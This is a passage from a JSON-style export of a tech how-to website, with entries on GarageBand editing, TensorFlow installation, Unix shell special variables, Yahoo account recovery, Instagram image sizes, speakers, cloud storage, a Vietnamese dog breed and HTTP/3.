.\nncG1vNJzZmismaXArq3KnmWcp51ktaK6w6WcZqiipK%2BtscysZKKmXay2r7DOsKpmoJ%2Bism6%2FxKutnqo%3D\n","link":"/post/handle-problems-in-windows-home-server/","section":"post","tags":null,"title":"Handle problems in Windows Home Server"},{"body":"This wikiHow teaches how to edit music on Mac using GarageBand. GarageBand is a free music editing app that generally comes pre-installed on Mac. It's also available in the App Store. Open GarageBand. It's the app that has an image of a...\nPart 1of 9:\nGetting Started  Open GarageBand. It's the app that has an image of a guitar and amp. The first time you open GarageBand, it may need to download a collection of sounds and loops. It may take up to an hour to download on a typical broadband connection. Download GarageBand from the App Store, if it's not already installed on your Mac.   Select a project type. There are seven options under \"Choose a Project\" in the New Project tab in the left sidebar. The options are as follows: Empty Project: This option opens a blank project. When you select this option, you will be asked to choose a track type. Click the keyboard icon to select a Software Instrument track. This allows you to record with a USB midi-keyboard. Click the microphone icon to create a basic audio track. You can record to this track using a microphone or line input. Click the guitar and amp icon to create a guitar or bass track. This will allow you to connect an electric guitar or bass to your Mac and record with a virtual amp. Click the drummer icon to create a drum track that plays along with your song automatically.  Keyboard Collection: This option has a variety of keyboard tracks. You can record on these tracks using a midi-keyboard. Amp Collection: This option has a variety of tracks with virtual amps. You can connect an electric guitar or bass to your Mac using the line-in input, or an external audio interface. Voice: This option has a variety of tracks that are optimized for singing. You can connect a microphone to your Mac using the line-in input, or an external audio interface, or just use your computer's microphone. Hip Hop has a variety of hip hop beats you can choose from as well as instrument tracks that are commonly used in hip-hop. Electronic has a variety of electronic beats and instrument tracks for creating electronic music. Songwriter has a basic drum beat, a vocal track, guitar, bass, and a keyboard track. This option is optimized for general songwriting.   Click Choose. It's in the lower-right corner of the \"Choose a Project\" Click \"Open an existing Project\" to open a pre-existing project.  Part 2of 9:\nRecording Audio  Select a track. The project window contains all the tracks in your project. It takes up most of the screen in the center of GarageBand. The track names, volume, and left-right pant controls are to the left. The wave files are in the center of the project window. When you select a track, it will be highlighted in grey to the left. Make sure you select the proper track type. If you are recording with a keyboard, you need to select a midi-keyboard track. If you are recording audio or guitar, you need to select a track with a virtual guitar amp.   Drag the playhead to the desired section. The playhead is the white line that moves along the wave files in the project window as you play and record. You can drag the playhead to any part of the wave file.\n  Click the Record button. The record button is the button with the red circle above the audio tracks. You will hear four clicks and then the track will start recording.\n  Click the Stop button. To stop recording, click the button with the white square.\n Part 3of 9:\nAdding an Additional Track  Click +. It's in the upper-left corner above the track list to the left.\n  Select a track type. There are four types of tracks you can choose from. Software Instrument allows you to record using a USB midi-keyboard. Audio Mic allows you to record with a microphone, or drag and drop audio files into the track. Audio Guitar allows you to connect an electric guitar or bass to your Mac and record with simulated guitar amps. Drummer creates a drum track that automatically plays along with your song.   Click Create. It's in the lower-right corner of the \"Choose a track type\" window. This will add an additional track. Additional tracks allow you to record multiple instruments and audio files on top of one another. To delete a track, click on the track and then press Delete twice. The first time will delete the audio file from the track. The second time will delete the track.  Part 4of 9:\nImporting Audio  Right-click a blank audio track. All the audio tracks are in the project window in the center screen. A blank audio track is an audio track that has no wave files in it. If you are using a magic mouse or trackpad, you can right-click by clicking with two fingers.   Click Add Audio File. It's the first option in the menu when you right-click on a track. This will open a file browser menu.\n  Select an audio file. Use the sidebar to the left, and the pulldown menu at the top of the file browser window to navigate your Mac. Click an audio file. This could be an mp3, .wav, m3u, acc, or other audio file formats.\n  Click Open. It's in the lower-right corner of the file browser menu. This will import the audio file into the blank track in GarageBand. Once the audio file is imported, you can click and drag it to any point in the project window. You may need to drag it back to the start of the song. You can also add audio to a project by click and dragging media files from the media browser to the project window. To show the media browser, click the icon with the music notes, filmstrip, and camera in the upper-right corner.  Part 5of 9:\nAdjusting Volume, Balance and EQ  Click a track. Each instrument or virtual amp will have different effects and controls, but there are a few options that remain the same on all tracks. You can adjust the following options on any track:\n  Adjust the volume. The clear slider bar next to the audio track adjusts the volume of the track.\n  Adjust the speaker balance. The L/R knob next to the volume slider adjusts the balance of the track from the left to right speakers.\n  Adjust the Equalizer. The EQ button is above the controls at the bottom of the screen. This will give you access to a graphic EQ that you can use to adjust the lows, mids, and highs on the track. You may also be able to adjust the lows, mids, and highs using the controls, depending on what instrument or amp you are using for that track.\n Part 6of 9:\nChanging Between Instrument or Amp  Select an instrument or guitar track. The instrument and guitar tracks will have an image of a piano, synthesizer, guitar, or amp next to the track.\n  Click the library icon. It's located in the upper-left corner of GarageBand. It has an icon that looks like a file cabinet drawer. This will display the library in a sidebar to the left.\n  Click a new instrument. When you click an instrument in the library, you will see the controls change at the bottom of the screen. To browse the library, click the categories at the bottom of the library sidebar. You can also type the name of an instrument in the search bar to go directly to that instrument or virtual amp.  Part 7of 9:\nAdding Effects  Select a track. Audio tracks are going to have different effects options depending on what type of track it is, and what instrument or virtual amp is assigned to the track.\n  Adjust effects using the controls. The controls are at the bottom of the screen. A variety of effects will be available depending on what instrument or amp you have selected. The following are some common effects that you may encounter: Reverb and Ambiance: Both of these effects create a reverberation effect that creates the illusion that the track was recorded in a different room-type, such as a concert hall, wooden room, or a room with padded walls. Delay and Echo: Delay and echo create a repeating echo effect. You can adjust the speed, frequency, and strength of the repeats. Compressor: Compress balances the quiet sounds and the loud sounds. Gain: Gain amplifies the audio track, giving it a thicker and louder sound. Too much gain can cause the sound to break up. Distortion: Distortion is a high-gain effect mostly used on electric guitars. Turn the distortion all the way up for a hard rock/heavy metal tone. Chorus: This effect doubles the audio track and varies the pitch just slightly. It creates a fuller, more colorful tone. Phase: This effect continually shifts the highs and lows of the audio track, simulating a rotary speaker effect.  Part 8of 9:\nSplitting a Track  Click an audio track with recorded audio. You will a wave file displayed in any track that has recorded audio.\n  Drag the playhead to where you want to split. The playhead is the white line that moves along the audio tracks in the project window as you play and record.\n  Right-click the audio file. This will display a small track menu. If you are using a magic mouse or trackpad, you can right-click by clicking with two fingers.   Click Split at Playhead. This will cut the wave file into two separate wave files at the playhead. You can delete one wave file and record a new one at the point where you split the track.\n Part 9of 9:\nMixing a Song  Finish a GarageBand project. Once you are finished recording a song, and all the parts are exactly as you want them, you are ready to mix the song.\n  Click File. It's in the menu bar at the top of the screen.\n  Click Save. This will save the GarageBand project.\n  Click Share. It's in the menu bar at the top of the screen. The share button has a number of ways you can export your song. Song to iTunes: This will mix down the song and export it to your iTunes library. Ringtone to iTunes: This will mix down the song and export it to your ringtones library. Song to Media Browser: This will mix down the song and save it to your GarageBand media browser. Then you can use the mixed down track in a different project. Song to SoundCloud: This will mix down the song and upload it to SoundCloud. Then you can share it online. AirDrop: This will mix down the song and send it to another Apple device. Mail: This will mix down the song and send it via email. Burn Song to CD: This will mix down the song and burn it to a CD. Export Song to Disk: This will mix down the song and save it to your Mac harddrive. Project to Garageband for iOS: This will export the GarageBand file for use on GarageBand for iPhone or iPad.   David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2UnsFuudSsoJxln6N6rq3C\n","link":"/post/how-to-edit-music-on-mac/","section":"post","tags":null,"title":"How to Edit Music on Mac"},{"body":" Windows spotlight is now available on both Windows 11 and Windows 10.\nOn the Windows 11 Insider Preview Build 22518 update, the Windows spotlight feature has been raised to a new level called 'Spotlight collection', which changes the desktop wallpaper automatically every day according to different themes. To put it simply, on Windows 11, both the lock screen and desktop wallpaper can be automatically changed according to many different themes, thereby providing a more refreshing experience. All you need to do is just enable the Spotlight collection feature.\nMicrosoft is currently testing the Spotlight collection with the Windows 11 Insider community. To experience this feature, you will have to have Windows 11 Insider Preview Build 22518 or later installed on your PC.\nIf you are running Windows 11 Build 22518 or later, you can enable and experience this feature by following a few simple steps.\nEnable Spotlight collection on Windows 11 Step 1: Open the Windows Settings application by pressing the Windows + i key combination.\nStep 2: On the Settings window that opens, click on Personalization.\nStep 3: Next, click on the Background item.\nStep 4: On the Background settings screen, click the 'Personalize your background' drop-down menu.\nStep 5: Click 'Spotlight Collection'.\n  As soon as you activate Spotlight Collection, you will see the changed desktop wallpaper, and also a new Spotlight icon at the top right of the screen. Clicking on the icon will tell you more about the available wallpaper options.\nHope you have a good experience with Spotlight Collection!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYysp6isnJ60qcCMnKalpJWYwaq7zWamp2Wnnrulu9asZGpp\n","link":"/post/how-to-enable-spotlight-collection-on-windows-11/","section":"post","tags":null,"title":"How to enable Spotlight Collection on Windows 11"},{"body":"Artificial intelligence and machine learning have changed the way we interact with technology. So far, what we see is just the beginning. In the future, both technologies will make things easier, because they do more than humans can imagine.\nAI and machine learning can make using technology easy, but not the simplest way to apply them. That's where technology like TensorFlow comes in handy. With TensorFlow, anyone with little experience as a developer can quickly start using machine learning to solve the problem.\nWhat is TensorFlow? TensorFlow's goal is to help easily build and deploy machine learning models. While those who have experience with machine learning can 'roll up their sleeves' to implement projects immediately, beginners can use the high-level API to get started easier.\n  One of the main applications of TensorFlow that we see today is the detection and classification of different objects. Image recognition is not the only thing TensorFlow can do, but companies like Airbnb use it to do this quite often.\nAs you can imagine, both AI and machine learning have a lot of potential uses in IoT. To make it easier to visualize, see what TipsMake.com 's analysis of machine learning is and what it can do for IoT.\nInstall TensorFlow on Linux The easiest way to install TensorFlow on Linux is to use pip, Python package manager. Before you start, you will want to make sure that you meet the basic system requirements. If all of the following works without any problems, you are ready to install TensorFlow on Linux.\n  python3 --version pip3 --version virtualenv --version  If that fails, you will need to install prerequisites. On Ubuntu, do the following:\nsudo apt update sudo apt install python3-dev python3-pip sudo pip3 install -U virtualenv  There are two ways to install TensorFlow. The first is to install it all over the system or in the main directory. The second is to install it in a virtual environment. The article will install it in the main directory.\nFirst, the pip guarantee is updated:\npip3 install --upgrade pip  Run the following command to install TensorFlow in the main directory:\npip3 install --user --upgrade tensorflow  To install GPU support version using Nvidia driver, instead, run the following command:\npip3 install --user --upgrade tensorflow-gpu  Now, you need to make sure that TensorFlow is installed correctly. You can do this by running the following command:\npython3 -c \"import tensorflow as tf; tf.enable_eager_execution(); print(tf.reduce_sum(tf.random_normal([1000, 1000])))\"  Install TensorFlow on Raspberry Pi TensorFlow, like most deep-learning libraries, can push powerful hardware to its limits. However, TensorFlow is supported on Raspberry Pi and this is a great way to get started with this tool.\n  For these tutorials, let's assume that you have installed Raspberry Pi and run Raspbian.\nInstalling TensorFlow on Raspberry Pi running Raspbian is easy. First, install the prerequisite libraries with the following command:\nsudo apt install libatlas-base-dev  Then install TensorFlow with pip with the following command:\npip3 install tensorflow  Installing TensorFlow is just the beginning. After you successfully install and run TensorFlow, it's time to start building some test projects to see what it can do.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmq56mo6S%2Fp7jOsGSipl2htq%2FB12aYp5xdp660vMGeqauxXaW2\n","link":"/post/how-to-install-tensorflow-in-linux-and-raspberry-pi/","section":"post","tags":null,"title":"How to install TensorFlow in Linux and Raspberry Pi"},{"body":"  Laura Flinn\nNASM Certified Personal Trainer Laura Flinn is a National Academy of Sports Medicine (NASM) Certified Personal Trainer, USA Olympic Weightlifting Sports Performance Coach and Certified Fitness Nutritionist, with an additional qualification as a TRX Suspension Trainer. Laura runs her own personal training program based in the San Francisco Bay Area and specializes in topics such as weight loss, muscle growth, cardiovascular training, and strength training.  Laura Flinn\nNASM Certified Personal Trainer\nOur Expert Agrees: When you're at a computer, sit straight with your shoulders rolled back with your feet planted on the floor. If your feet don't reach the floor, invest in a foot step. If your back isn't straightened and supported by your chair, you should use lumbar support.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquZqXqiwIyaZJynnaXCtbHR\n","link":"/post/how-to-sit-at-a-computer/","section":"post","tags":null,"title":"How to Sit at a Computer"},{"body":"When using social networking, chat, or texting applications such as Yahoo Messenger, we often have the habit of saving our account for future login. However, that caused a lot of trouble, especially if you forgot your password to log in to Yahoo. So how to handle this case? In this article, the Network Administrator will show you how to recover your Yahoo password and change your password to enhance account security.\n1. Restore Yahoo account with email address: Step 1: First of all, visit the Yahoo homepage on the link below:\n\nhttps://login.yahoo.com/config/mail?.intl=vn Step 2: At the login interface, enter your Yahoo account email address and click Next .\n  Step 3: Switch to the next interface, because you forgot your password, you will click on Forgot password .\n  Step 4: Click Continue .\n  Step 5: Next, we will need to enter the correct image code in the request frame, then click Submit .\n  Step 6: You will then be sent an Account Key to a previously registered account recovery email address. Click Yes , send me Account Lock .\n  Step 7: You log in to the email address used to recover your account and get the code. We will receive an Account Lock.Enter this Account lock into the verification interface on Yahoo. Then click Verify .\n  Step 8: Soon, you will see a list of Yahoo accounts connected to the above email address. Click on the Yahoo Messenger account you want to restore and use.\nSo we got back to Yahoo account already.\n  Step 9: As soon as you access your account, you will be asked if you want to change your new password . We enter the new password and click Continue . So the account has been changed to a new password.\n  2. Restore Yahoo account via phone number: This way we will use the phone number you entered when registering to restore the account.\nStep 1: You enter the recovery phone number in the section below and then click Continue .\n  Step 2: We will also receive a notification to send the Account Key to the above phone number.\n  Step 3: Shortly thereafter appeared Yahoo account using this phone number to recover accounts. You can click on that account to use it.\n  Step 4: We receive a successful notification logging into the account. Below are two options: Create a new password or Continue. It's best to create a new password for this Yahoo account. Enter the new password and click Continue as above to go to the next step.\n  Step 5: After that, the application will ask if you want to add recovery email or add another phone number . You should fill in one of two email address and phone numbers, in case you forget your password and lose your account.\n  These are two ways to help you recover your lost password Yahoo account, via email address or recovery phone number. Once you have access to your account, you should change your password to avoid losing your account because you forgot to pass or enhance your Yahoo account security.\nRefer to the following articles: How to use the new Yahoo Messenger version does not install the software Instructions to transfer emails from Yahoo! Mail to GMail Transfer contacts from Gmail, Hotmail, Facebook to Yahoo! Mail I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaqlajBsL7Ip55msZGdvLB5zJ6qrJ2enLKzecCcmqitnqk%3D\n","link":"/post/instructions-for-restoring-yahoo-messenger-account/","section":"post","tags":null,"title":"Instructions for restoring Yahoo Messenger account"},{"body":"Office suite on Windows platform tablet running ARM chip will include Word, PowerPoint, Excel and OneNote.\n  Office on Windows RT will be free.\nOne of the most distinctive features of Windows RT operating system compared to other platforms such as iOS or Android is the Microsoft Office office application pre-installed. This means that users will not have to pay extra for Office suite nor need to worry about compatibility when running on their device.\nHowever, this is only part of the story because in the detailed information published, Microsoft said that Office for Windows RT will have some features cut off. This suite of applications will include Word, PowerPoint, Excel and OneNote but Outlook, Access or Publisher will not appear.\n  New Office will be changed interface to better fit the touch screen.\nIn addition, users do not enjoy all the same features on Windows RT as x86 devices running Office 2013. In particular, there will be no support for macros, add-ins or ActiveX.\nWhen Windows RT is introduced on October 26, Microsoft will integrate a preview version of Office Home \u0026amp; Student 2013. Free updates to the full version will be available at the time the device reaches the user's hands.\nMicrosoft Office has been redesigned to be more convenient with touch screens. However, users still completely use the software with the mouse, touchpad or keyboard like a regular computer as before.\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrynssicnGaho2K9s7HIp6qtmZyhsqV5xaipZp6imrJuu81mrqKmlKTEtHnRrQ%3D%3D\n","link":"/post/microsoft-office-is-pre-installed-for-free-on-windows-rt/","section":"post","tags":null,"title":"Microsoft Office is pre-installed for free on Windows RT"},{"body":"The previous tutorial has warned about using special characters in your variable name. This is because these characters are used in the names of special variables in Unix. These variables are kept for special functions.\nFor example, the $ character represents the current process ID, or PID of the shell.\n$ echo $$  The above command will write the current shell's Process ID:\n29949  Below is a table listing the special variables that you can use in Shell script:\nFile Description $ 0 File name of the current script. $ n These variables correspond to the parameters that a script is called. Here n is a positive integer decimal number corresponding to the position of a parameter (the first parameter is $ 1, the second parameter is $ 2 .). $ # Number of parameters provided for a script. $ * All parameters are double quoted. If a script takes two parameters, $ * is equivalent to $ 1 $ 2. $ @ All parameters are cited separately. If a script takes two parameters, $ @ is equivalent to $ 1 $ 2. $? The exit status of the previous command is run. $$ Number of current shell processes. For Shell script, this is the number of Process IDs they are running. $! Process number of the previous background command. Command-line parameters in Unix / Linux The command line variables $ 1, $ 2, $ 3, . $ 9 are positional parameters, with $ 0 pointing to the actual command, program, Shell script or function and $ 1, $ 2, $ 3, . $ 9 are parameter of that command.\nThe following script uses special variables related to the command line:\n#! / bin / sh echo \"File Name: $ 0\" echo \"First Parameter: $ 1\" echo \"Second Parameter: $ 2\" echo \"Quoted Values: $ @\" echo \"Quoted Values: $ *\" echo \"Total Number of Parameters: $ # \"  Here is a sample run for the script above:\n$ ./ test . sh Zara Ali File Name : ./ test . First Parameter : Zara Second Parameter : Ali Quoted Values : Zara Ali Quoted Values : Zara Ali Total Number of Parameters : 2  Special parameters $ * and $ @ in Unix / Linux There are special parameters that allow access and all parameters of the command line at the same time. Both $ * and $ @ will work similarly unless they are surrounded by citations (\"\").\nBoth parameters define all the parameters of the command line, but $ * gets the entire list as a parameter with empty spaces in the middle and $ @ gets the entire list as a parameter and distinguishes them as parameters separately.\nWe can write Shell script as below to handle some unknown command line parameters with or special parameter $ * or $ @.\n#! / bin / sh for TOKEN in $ * do echo $ TOKEN done  We run the template for the script above:\n$ ./ test . sh Old Zara Ali 10 Years Old Zara Ali 10 Years  Note : Here because . done is a form of loop that we will discuss in the following tutorial.\nExit status (Exit) in Unix / Linux $ Variable? represents the exit status of the previous command.\nExit status is a numeric value returned by each command when it is completed. As a rule, most commands return an exit status of 0 if they are successful and 1 if they fail.\nSome commands return exit status with other additions for their own reasons. For example, some commands distinguish between types of errors and will return multiple exit values ​​depending on the type of error.\nHere are examples of successful execution commands:\n$ ./ test . sh Zara Ali File Name : ./ test . First Parameter : Zara Second Parameter : Zara Ali Quoted Values : Zara Ali Total Number of Parameters : 2 $ echo $ ? $ 0  According to Tutorialspoint\nPrevious article: Use variables in Shell\nNext lesson: Using array in Shell\nncG1vNJzZmismaXArq3KnmWcp51kwLGxwqKYpWWmlr%2BqrcGlnKxlmaN6trrIsWSloZ6qxQ%3D%3D\n","link":"/post/special-variables-in-unix-linux/","section":"post","tags":null,"title":"Special variables in Unix / Linux"},{"body":"Instagram and some other social networks often share beautiful photos with different sizes, however, you will have tools to help select images with standard sizes with each of their own settings. For example, Facebook only allows players to use a square image size to make a avatar.\nAs for Instagram, users will be standardized on a square image, but users can upload vertical images on smartphones such as portraits or landscape images. Here are some standard image sizes to use on this social network.\nHow to fix sharing Instagram photos on Facebook How to post questions on Story Instagram How to create name tags on Instagram How to download Instagram Story posts to PC Standard image sizes on Instagram Download Instagram for iOS Download Instagram for Android 1. Square shape   Source: @butter on Instagram\n  Source: @butter on Instagram\nYou can see the standard size of Instagram photos between two devices, PC and phone, the image size is square and users can see details on both devices without being covered or blocked. certain part. The standard square image size to post to Instagram is: 1080 pixels wide x 1080 pixels in height.\n2. Vertical Photo (Portrait Photo)    Source: @butter on Instagram\n   Source: @butter on Instagram\nStandard vertical images of Instagram have a resolution of 1080 pixels width and 1350 pixels height , with vertical images, on the Instagram or on the phone version of the phone can see all images.\n3. Landscape (landscape)   \nHorizontal photos, or landscapes captured on Instagram, will have a standard size of 1088 width and 566 pixels height. In addition, some of the photos you see posted on their News will have a standard size of 1080 pixels wide and 1920 pixels tall.\nHopefully, the standard image size of Instagram above will help you when sharing your moments with relatives and friends. You can share multiple photos at once via Instagram, if you do not know this tip, please refer to how to do in the article How to upload multiple photos at once on Instagram.\nSee more:\nSynthesize applications to write text on photos on the phone Some online photo resize services How to automate GIMP by script How to design a simple logo in Photoshop ncG1vNJzZmismaXArq3KnmWcp51kwLWtzZ2Yq5xdpbWwwM5mqqKylah6sLqMoqWsrJGcv6K5\n","link":"/post/standard-photo-sizes-on-instagram/","section":"post","tags":null,"title":"Standard photo sizes on Instagram"},{"body":"Currently, to buy a quality sound speaker is not difficult and does not require too much investment. Here are the best selling music speakers 2020 for your reference:\n1. Bose Soundlink Micro bluetooth speaker Bose Soundlink Micro is the most popular bluetooth speaker today, regardless of the electronics store. First, it scores points thanks to its very compact size, easy to carry on outing and traveling trips. The product has good water resistance and is super durable, with tear resistant silicon wire. This speaker can fit in the palm of the hand and does not weigh luggage or bags when carrying because it is only as heavy as a power bank.\nWhat matters is the sound quality of the SoundLink Micro. The speaker plays well with all genres of music, whether it's vibrant dance pop or soft music bolero, jazz, . Users who download Bose Connect app can set up music as they wish like a DJ. The speaker also offers up to 6 hours of battery life.\n  The speaker's ultra-small design is suitable for use in all situations and spaces\n2. Sony SRS-XB22 / GC E Bluetooth Speaker - the best music speaker 2020 for parties Sony SRS-XB22 / GC E is the ideal speaker for gatherings and parties of young people. With its powerful bass, this tiny speaker can create an exciting music party, playing all the exciting 'dancing' songs. Extra Bass is produced by dual passive radiators and two full-range speakers. This device supports Party Chain connectivity, can connect up to 100 at the same time during major events.\nThe design of the speaker is very youthful, modern, can be easily carried in a pocket. It also has an LED light that flashes along with the music, contributing to a faint party. For even more sublime music, simply adjust Live Sound to create a 3-way echo. The speaker is highly resistant to water and dust, so it is not a problem to use it in a swimming pool party or in a picnic area.\n  The Sony SRS-XB22 / GC E will be a great companion in parties that need an exciting atmosphere\n3. Divoom Bluetooth Speaker - Ditoo This suggestion will conquer you to like the unique, cute. Divoom - Ditoo Bluetooth Speaker is designed to emulate a classic gaming machine, with very pleasant pastel colors. The screen on the speaker can actually display eye-catching pixel images reminiscent of familiar childhood games.\nThe manufacturer not only focuses on the look but forgets the quality inside. User ratings Divoom - Ditoo plays well from EDM, rock to soft music.\n  The super cute and unique design makes the product not only simply a speaker but also an interesting decoration\n4. Xiaomi Mi Basic 2 bluetooth speaker The Xiaomi Mi Basic 2 is a cheap option. Speaking of Xiaomi, we will immediately think of the advantage that technology is very modern and trendy.\nThis speaker is equipped with Bluetooth 4.2 that can receive a large range. Battery life is also terrible when playing 10 hours continuously. The sound of the speaker is clear, natural and clear. suitable for listening to classical and popular music. This speaker is smaller than the suggestions above, weighing only 237g.\n  Xiaomi Mi Basic 2 good price and very good quality\n5. Speaker 2.1 Microlab Solo 6C Speaker Microlab Solo 6C is an excellent representative of the popular traditional speaker line, with good price quality. Wooden speaker covers are both classic elegance and resonant sound. Power up to 100W, distortion only 0.3%, frequency response from 55Hz to 20,000Hz.\n  Although bluetooth speakers are a trend, there are still people who prefer more traditional wired speakers.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXquwdKimmaroJqurLHRrGRraGJl\n","link":"/post/top-5-best-music-speakers-2020/","section":"post","tags":null,"title":"Top 5 best music speakers 2020"},{"body":"Online data storage services are now widely used by many people, because of the convenience when you can upload and download data at anytime, anywhere and especially do not occupy system resources. We can name some famous cloud storage services like Google Drive, Dropbox, One Drive, Mediafire, Mega.nz, .\nThere are also many other hosting services like Sendit.cloud, which the Network Administrator would like to introduce to you in this article. Sendit.cloud is a completely free, unlimited online storage service. The speed of uploading and downloading files on Sendit.cloud is relatively fast, with support for playing video and audio content on the download page.\nStep 1: First of all, we can access Sendit.cloud's homepage according to the link below.\nhttps://sendit.cloud/ Step 2: Sendit.cloud supports service users who do not need a registration account to store files. However, if the account is not registered, the uploaded file will be deleted within 7 days and the data management features will be much more limited.\nTo register an account using Sendit.cloud, first click on the icon on the right of the interface, then select Sign-up .\n  Step 3: Account registration interface appears. We enter the required information in this interface. Then click Sign up button to register your account.\n  When the following message appears, your account has been created. And we need to access the registration email to activate that account.\n  Step 4: Log in to the registration email and click the Active Your Account button to activate the account on Sendit.cloud. Thus, we have registered to use Sendit.cloud successfully.\n  Step 5: Go back to the interface on the Sendit.cloud page, to download the data click on the green Sendit button in the middle of the interface.\n  Sendit.cloud supports users with 5 ways to download data , including:\nUpload : when clicking on the cloud icon you will see a Choose file button to upload data from the computer. Or you can drop or drag the file to the interface Drag file to upload. The service will not limit the number of files, formats and file sizes.\n  Next to add data click Add more or press the X icon to remove any file that does not want to upload Sendit.cloud. Above the Email Recipients bar to enter the email address you want to send data to if you want.\n  In addition, when clicking the Options button, you will have the option to create a data password, add a proxy. Finally click Upload to download the file.\n  Finally we wait for the download process on Sendit.cloud to complete.\n  Remote URL Upload : we can download data from any website via the URL link of the data. We paste the data URL and select the TOS and click Upload to download the file.\n  Clone / Copy Sendit files : upload Sendit file to account by sharing link (support up to 100 links).\n  Finally, FTP Uploads download files from FPT servers and Upload from Windows, Android and Mac to download files from Windows, Android or Mac.\nStep 6: After the data download process is completed, we will be sent by Sendit.cloud to provide the shared link, embed code, HTML code, . option to delete the uploaded data.\n  If with an mp3 or video file, we can view them on the download page. If the data has a password, the user can still view it but cannot download it.\n  Step 7: To manage uploaded files, click on the My Files icon at the top.\n  Step 8: Switch to Sendit.cloud upload data management interface. Here in the leftmost New folder , enter the folder name and press Enter to create. Soon the new folder will appear below.\n  In a folder created when clicking on the triangle icon , you will have the option to get the embed code, the share link of the folder, edit the name, or delete the folder.\n  Step 9: In this interface by default the files will be displayed as file formats. If you want to change the display mode to the thumbnail of the file contents , click on the gear icon in the upper right corner and choose File Preview\u0026gt; Save .\n  Step 10: In addition, Sendit.cloud provides some other management features when clicking on the account icon and selecting Settings .\n  In the Settings interface, there will be options:\nAccount Security: provides IP address information, browser usage, account access location. Click the Kill icon to delete the login information and the White List to mark this access address reliably. Settings: change the email address and account password. MP3 Options: turn off the audio player. Video Player Options: enable or disable the video player. File Settings: options for files like displaying the number of downloaded files, download, upload date, end of file download time, file tracking, etc. Remote Host: login to the supported FTP server account. Finally, if you have changed the content click Save changes below to save it.\n  Above is the detailed usage of Sendit.cloud online storage service for free. Besides unlimited data storage, Sendit.cloud also provides users with multiple data management options, providing shared links, download links, embed codes, and more. This we will be able to easily manage data stored on Sendit.cloud.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B4yKagrZ2UYryvuMinnGackamubr%2FTqKman5VivK950p6lnaGkmLmwwcM%3D\n","link":"/post/unlimited-online-data-storage-on-sendit-cloud/","section":"post","tags":null,"title":"Unlimited online data storage on Sendit.cloud"},{"body":"Referring to the rare and expensive dog breeds, many people will think of foreign breeds like Tibetan dog or Pembroke Welsh Corgi . But you know, even in our country a breed of dog that is classified as one of the most rare dogs in the world, it is Phu Quoc dog.\nPhu Quoc dog is the only native dog that only lives in Phu Quoc island, Kien Giang in our country. After many years living on this island, Phu Quoc dogs have created a very specific gene population, making them different from other dogs in the world.\n  Phu Quoc dogs only live on the island so their number is very small. According to statistics, as of 2015, only about 800 Phu Quoc dogs are registered worldwide, most of which are on the island.\n  The most prominent and recognizable feature of Phu Quoc dogs is that they have swirling feathers that grow back along the spine. This feature only occurs in 3 dogs in the world, the other two dogs are the Ridgeback dog Rhodesia and Thai swirling dog.\nPhu Quoc dogs are famous for their intelligence, easy teaching and loyalty to their owners. They obey master commands correctly without spending much time training. This makes this dog more beloved.\nThe coat color of Phu Quoc dog is also very special. According to longtime residents of the island, purebred Phu Quoc dogs have four basic colors: brindle, yellow, black, and spotted. Phu Quoc dog with a tiger must have a regular stripes, almost like tiger fur. Children with fire-yellow hair must be dark red in red, and black with black hair must be black, not any other hair color.\n  Phu Quoc dog is a hunting dog, so a dog is considered to be beautiful if it is muscular, slender, tall, stately, and has a hook-shaped tail.\nAlthough Phu Quoc dogs are very intelligent, they are not included in the list of the smartest dogs (Border Colie tops this list). The reason is that they are too rare, not enough to form a standard set in the world. That is also the reason why Phu Quoc dog of Vietnam cannot attend many international dog competitions.\nDecember 6, 2009, for the first time in the \"Beautiful National Dog Contest 2009\" held in Vietnam. Phu Quoc dogs have won the second prize when compared with many different breeds of Vietnam and the world.\nOn July 5, 2011, for the first time, Phu Quoc dogs were brought to Paris to attend the FCI World dog show 2011 - the beautiful world dog contest in 2011 and won the CACS (world-class beautiful dog certificate).\n Dad dog in Catherine Lane's Phu Quoc dogs.\nIn 2015, Catherine Lane, an English woman became the first European to own Phu Quoc dogs. She brought two Phu Quoc dogs from Vietnam to the UK to feed and help them produce 4 puppies - 3, 1 male. Very quickly, Catherine Lane became famous and these overseas Phu Quoc dogs were ordered at a price of up to £ 10,000 / child (more than VND 300 million at the exchange rate at the time).\nDecipher the strange behavior often seen in dogs Listed the 10 largest \"giant\" breeds in the world ncG1vNJzZmismaXArq3KnmWcp51kw6qx06eYpmWfrLu0ec6nnGanlmLBqbGMq5irnaOpeqK6w2akqKukYrK5vMSnqqKulWKvs7HEnapmoZ5iwamxjLCmq6SU\n","link":"/post/vietnam-owns-one-of-the-rarest-and-most-expensive-breeds-in-the-world/","section":"post","tags":null,"title":"Vietnam owns one of the rarest and most expensive breeds in the world"},{"body":"HTTP / 3 is becoming more popular. Cloudflare currently supports HTTP / 3, which is already part of Chrome Canary and will soon be added to Firefox Nightly. This new standard will make web browsing faster and more secure.\nInstructions for setting up HTTPS for a simple website List of HTTP status codes, full HTTP Status Code 5 ways to improve website speed with HTTP / 2 Why HTTTP / 3 and QUIC can speed up the browser? Web browsers, web servers and other important web infrastructure parts are getting support for a new standard called HTTP / 3, using QUIC. This is a more modern version of HTTP that web browsers use to communicate with the web server and send data back and forth.\nHTTP / 3 is written to send data faster with better error resistance. It also has integrated encryption. That means faster speeds and more security. Not only does data speed increase, HTTP / 3 also reduces latency, meaning that websites will start loading faster after a user clicks on the link.\nAs browsers and websites start communicating over HTTP / 3, the web gets better as more websites choose to use this standard.\nFrom HTTP / 1 to HTTP / 2   The original version of HTTP used the Transmission Control Protocol (TCP). First described in 1974, TCP is not designed to meet today's speed and web responsiveness. Google is trying to fix many TCP problems with a new protocol called SPDY, the official name is HTTP / 2.\nHTTP / 2 arrived with most major browsers in late 2015, adding features like data compression and organizing multiple requests over a TCP connection to speed things up.\nSince September 2019, W3Techs estimates that HTTP / 2 is currently used by 41% of browsers.\nWhat is HTTP / 3 and QUIC? HTTP / 3 is a rewrite of the HTTP protocol. 